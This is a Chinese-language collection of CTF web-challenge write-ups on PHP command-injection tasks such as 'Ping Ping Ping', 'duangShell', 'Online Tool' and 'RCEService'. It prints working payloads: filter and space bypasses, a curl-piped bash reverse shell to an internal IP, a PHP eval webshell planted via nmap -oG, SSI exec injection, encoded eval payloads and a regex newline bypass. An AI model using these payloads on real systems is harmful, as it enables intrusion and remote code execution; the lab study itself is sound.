2019GXYCTF-Ping Ping Ping

12月份的GWYCTF,BUUCTF上复现

别人学校招新的题目,我还是不会,太菜了

先来看看题目的界面

由题意得,传参ip

联想命令执行,命令执行的方法大致两种:

;:用于连续指令执行
|:管道符,将左边的输出当做右边的输入,只返回右边的结果

尝试分号:

发现目录下包含两个文件:index.php 和 flag.php

尝试cat查看:

emmmmmmmmmmmmm空格被办了。。。

从大佬那学习绕过空格的方法,大概有以下几种:

$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
< 
<> 
{cat,flag.php}  //用逗号实现了空格功能
%20 
%09 

各种尝试后发现$IFS$1有效,分别查看两个文件,如图:

index.php代码如下:

/?ip=
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
";
  print_r($a);
}

?> 

发现大多数符号都被过滤,以下几种方法都不行(不过好像都挺有用的,搬来学习一下):

cat fl* 利用*匹配任意 不行
echo "Y2F0IGZsYWcucGhw"| base64 -d | bash 也不行
ca\t fl\ag.php 不行
cat fl''ag.php 不行

最后使用变量拼接:

顾名思义,变量拼接就是:a=f;b=lag.php;cat $a$b

利用到解题中:

a=g;cat$IFS$1fla$a.php

[・_・?]

F12即可得出答案:

参考大佬原文:ping

BJDCTF-2nd-duangShell

首先首页提示

.swp源码泄露,是使用vim编辑器的缓存文件

于是访问url/.index.php.swp下载该文件,然后用vim -r index.php.swp恢复文件,得到源码

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>give me a girl</title>
</head>
<body>
    <center><h1>珍爱网</h1></center>
</body>
</html>
<?php
error_reporting(0);
echo "how can i give you source code? .swp?!"."<br>";
if (!isset($_POST['girl_friend'])) {
    die("where is P3rh4ps's girl friend ???");
} else {
    $girl = $_POST['girl_friend'];
    if (preg_match('/\>|\\\/', $girl)) {
        die('just girl');
    } else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl)) {
        echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->";
    } else {
        //duangShell~~~~
        exec($girl);
    }
}

代码审计,可以POST一个girl_friend参数但过滤了一些参数,看到最后执行命令使用的是exec的函数,返回最后一行内容,无回显,由于看不到输出,就选择反弹shell来拿到系统权限执行命令。

正好curl命令没用被禁,curl命令参考,于是选择用curl指令来curl远程主机上的文件然后再用管道符| bash来执行curl下来的内容

由于buu上面的靶机无法访问外网,创个小号开台可以用的靶机(靶机已经装好了LAMP),由于都是在一个内网,所以靶机之间可以互相访问

ssh登录ssh -p 29722 root@node3.buuoj.cn

输入密码进去后在/var/www/html目录下创建一个txt文件,里面写上反弹shell的语句

bash -i >& /dev/tcp/174.1.143.177/2333 0>&1

注意上面的ip地址为内网的ip,提前用ifconfig查看一下内网ip就可以了,

然后在需要反弹shell的机子上post参数:

girl_friend=curl 174.1.143.177/1.txt | bash

可以看到shell被弹过来了,然后开始找flag

在根目录下有一个flag文件,但里面放的不是flag,于是find+grep查找

find etc -name "*" | xargs grep "flag{"

xargs,最终在etc中找到了flag

关于反弹shell的解析参考以下文章

https://xz.aliyun.com/t/2548 (Linux反弹shell(一)文件描述符与重定向)

https://xz.aliyun.com/t/2549 (Linux 反弹shell(二)反弹shell的本质)

https://www.cnblogs.com/-zhong/p/11398877.html (Liunx反弹shell的几种方式)

BUUCTF-2018-Online Tool

首页源码:

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

可以get一个host

  • escapeshellarg:将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号
  • escapeshellcmd:对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义,反斜线(\)会在以下字符之前插入: * & # ; | \ * ? ~ < > ^ ( ) [ ] { } $ * , \x0A\xFF'" 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 %! 字符都会被空格代替。

假设传入172.17.0.2' aaa,结果escapeshellarg处理后变成了'172.17.0.2'\'' aaa',在单引号前加了一个反斜杠转义,然后又将转义后单引号两边的字符串用引号引起来起到连接字符串的作用,随后经过escapeshellcmd处理变成了'172.17.0.2'\\'' aaa'\\被解释为\而不再是转义字符,所以后面的'没有被转义,后面的'配对成了一个空白连接符,如果是ping命令,则命令简化成了ping 172.17.0.2\ aaa',最终就会造成利用

于是我们配合nmap-oG参数可以将扫描的结果生成指定的文件

payload?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '

GKCTF2020-CheckIN

首先题目给出了源码:

<title>Check_In</title>
<?php 
highlight_file(__FILE__);
class ClassName
{
        public $code = null;
        public $decode = null;
        function __construct()
        {
                $this->code = @$this->x()['Ginkgo'];
                $this->decode = @base64_decode( $this->code );
                @Eval($this->decode);
        }

        public function x()
        {
                return $_REQUEST;
        }
}
new ClassName();

可以看到已经相当于有一个马在上面了, @Eval(base64_decode($_REQUEST['Ginkgo']));

于是直接用蚁剑连接:

注意这里自带的base64解码好像用不了,在网上找一个可以用的,链接

添加到AntSword即可连接成功

虽然连上去了,也可以看到根目录下的flag,但是并没有权限直接读取flag,但是我们可以看到有一个readflag可执行文件,应该就是想办法利用这个文件来读取flag了

然而我们并不能直接执行这个readflag文件,因为phpinfo中的disable_functions选项禁用了很多命令执行函数:

于是有要想办法bypass disable_functions来执行命令了,在网站找到可以直接执行命令的exp:

https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php

直接传到网站的tmp目录下,我们具有tmp目录所有权限,令exp中pwn("/readflag");再发包include('/tmp/exploits.php');经过base64编码后的数据,即可读到flag

[BJDCTF2020]EasySearch

要点->Apache SSI 远程命令执行漏洞

当目标服务器开启了SSI与CGI支持,我们就可以上传shtml,利用<!--#exec cmd=”id” -->语法执行命令。

使用SSI(Server Side Include)的html文件扩展名,SSI(Server Side Include),通常称为”服务器端嵌入”或者叫”服务器端包含”,是一种类似于ASP的基于服务器的网页制作技术。默认扩展名是 .stm、.shtm 和 .shtml。

index.php.swp源码泄露,访问得到源码

<?php
	ob_start();
	function get_hash(){
		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
		$content = uniqid().$random;
		return sha1($content); 
	}
    header("Content-Type: text/html;charset=utf-8");
	***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
			echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
	***
    }
	***
?>

首先需要绕过if ( $admin == substr(md5($_POST['password']),0,6))

写个简单的脚本

<?php
for($i = 0;$i < 9999999; $i++){
    if(substr(md5($i),0,6) == '6d0bc1'){
        print($i."\n");
    }
}

得到一个2020666,拿去发包

image-20200808171429367

得到路径

于是利用Apache SSI 远程命令执行漏洞

payload:username=<!--#exec cmd="cd ..;cat flag_990c66bf85a09c664f0b6741840499b2" -->&password=2020666

访问shtml文件即可得到flag

[极客大挑战 2019]RCE ME

首先题目给出了源码

<?php
error_reporting(0);
if (isset($_GET['code'])) {
    $code = $_GET['code'];
    if (strlen($code) > 40) {
        die("This is too Long.");
    }
    if (preg_match("/[A-Za-z0-9]+/", $code)) {
        die("NO.");
    }
    @eval($code);
} else {
    highlight_file(__FILE__);
}

可以看到可以命令执行,但是过滤了所有的字母和数字,并且限制了字符串发长度不能大于40

于是构造特殊字符来进行命令执行:

payload:

1、  异或方法
${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])`

2、  取反方法
(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%DD%9E%DD%A2%D6%D6);

然后用蚁剑连接,注意这里是不能直接命令执行的,因为disable_function限制了很多的命令执行函数

phpinfo()查看一下

payload:

(~%8F%97%8F%96%91%99%90)();
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,
pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,
pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,
pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,
pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,
syslog,imap_open,ld,dl

根目录下有readflagflag文件,flag读取权限不够,readflag不能执行,需要绕过disable_function,利用蚁剑的插件绕过,执行后在蚁剑终端执行/readflag即可读到flag

[FBCTF2019]RCEService

题目需要用json格式的数据进行命令执行,如:{"cmd":"ls"}

这题应该是比赛时题目给出了源码buu上没放,源码如下:

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}

?>

过滤了很多东西

putenv('PATH=/home/rceservice/jail'),限制了命令执行的环境,用全路径就可以了,问题是waf的绕过

我们知道php正则匹配在默认模式下认为目标字符串是由单行字符组成的,即不匹配多行,于是即可以用%0A绕过,最终payload如下:

{%0a"cmd":"ls /home/rceservice"%0a}    //flag jail
{%0a"cmd":"/bin/cat /home/rceservice/flag"%0a}